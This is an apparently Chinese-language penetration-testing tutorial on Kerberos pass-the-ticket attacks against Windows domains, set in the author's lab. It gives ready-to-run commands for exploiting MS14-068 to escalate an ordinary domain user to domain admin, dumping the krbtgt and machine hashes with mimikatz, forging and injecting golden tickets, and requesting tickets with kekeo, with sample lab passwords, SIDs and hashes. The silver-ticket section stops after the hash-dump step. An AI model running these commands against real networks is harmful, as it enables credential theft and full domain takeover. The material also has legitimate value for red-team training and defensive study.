0x00 简介

  1. PTH 是基于NTLM认证的,接下来我讲的 Pass the Ticket 是基于Kerberos 协议进⾏攻击的。在内网渗透中,要使⽤哈希传递攻击,则必须要获取到目标机器的管理员权限。如果没有管理员权限,我们不妨用票据传递攻击。

0x01 原理

ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的。

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)。
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据。
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测。
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

这里就介绍三种常见的攻击方法:MS14-068,黄金票据Golden ticket,白银SILVER ticket。

0x02 PTT攻击 MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。

1、场景

域控未打补丁kb3011780的情况下,获取到域内普通用户的用户密码和sid,配合mimikatz将普通域用户提升至域管权限从而登录域控和所有域内机器

2、利用

  • 获取普通域用户的sid、域用户名、域名、域用户密码、域控ip、一台administrator权限的域内机器

    域用户的sid S-1-5-21-204891477-3814590248-2919769549-1106 域用户名 zhangfeifei 域名 fucksafe.com.cn 域用户密码 Win7@2020 域控ip 192.168.0.2 一台administrator权限的域内机器 为了有权限执行mimikatz伪造票据到内存

在普通域账户登录时,使用whoami/user得到普通域用户的sid S-1-5-21-204891477-3814590248-2919769549-1106
image.png

  • 执行payload生成TGT票据(执行这个无需管理员权限,在你本机执行也可以,生成的是cache文件)

地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u zhangfeifei@fucksafe.com.cn -s S-1-5-21-204891477-3814590248-2919769549-1106 -d 192.168.0.2 -p Win7@2020

image.png

  • 在域内一台administrator权限的机器上使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
    mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
    mimikatz # kerberos::list          //查看当前机器凭证
    mimikatz # kerberos::ptc TGT_zhangfeifei@fucksafe.com.cn.ccache   //将票据注入到内存中
    
    把凭据注入内存成功
    image.png
    image.png
    现在使用net use等方法可以远程登录域控机器了(这里一定注意要是用域控的完整域名而不是ip,使用ip会出错)
    image.png
    现在内存里的凭据是域控权限,当然可以登录任意域内机器了(此时可以使用ip)
    image.png

    0x03 PTT攻击 使用kekeo

    考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket,使用kekeo
    地址:https://github.com/gentilkiwi/kekeo/releases

    1、场景

    只有没有管理员权限的域内主机的普通域用户权限

    2、利用

    kekeo32.exe “tgt::ask /user:liubeibei /domain:fucksafe.com.cn /password:Win7@2020” kekeo32.exe “tgt::ask /user:liubeibei /domain:fucksafe.com.cn /ntlm:61addd059ee2ce94be97b0d5c31cfdf2”

使用密码或者hash都可以,错误的话会执行失败,不能生成票据
image.png
导入票据

kekeo32.exe "kerberos::ptt TGT_liubeibei@FUCKSAFE.COM.CN_krbtgt~fucksafe.com.cn@FUCKSAFE.COM.CN.kirbi"

image.png
正常来说,此时普通域用户权限已经提升到域控,可以使用net use命令尝试,但是我这里失败了(暂时原因不明)

PTT攻击 黄金票据

1、场景

获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

登录域控服务器,执行以下命令dump krbtgt的hash

privilege::debug lsadump::lsa /patch

image.png

2、利用

切换到其他域内的机器,以管理员身份登录(为了有权限执行mimikatz),执行以下命令在本机生成TGT凭证

kerberos::golden /user:administrator /domain:fucksafe.com.cn /sid:S-1-5-21-204891477-3814590248-2919769549 /krbtgt:ac2f8546804b97dc0f68aab1398bea9d /ticket

image.png
执行以下命令注入,可以使用klist查看注入的票据

kerberos::ptt ticket.kirbi

image.png
之后本机打开的cmd便有了黄金票据权限,可以通过net use登录域控和域内所有机器(登录域控要用域名不能是ip)
image.png

PTT攻击 白银票据

silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限,比如文件权限,在生成票据的时候指定。
不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把域控的ntlm hash(不是administrator,也不是kbrtgt用户的hash,而是owa也就是域控机器的hash) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。

1、场景

获取到以下条件

  • 域控本机owa的ntlm hash
  • 域的SID值,可以使用 lsadump::lsa /patch查看
  • 普通域用户名

    2、利用

    执行以下命令查看域控本机owa的ntlm hash

    privilege::debug sekurlsa::logonpasswords

image.png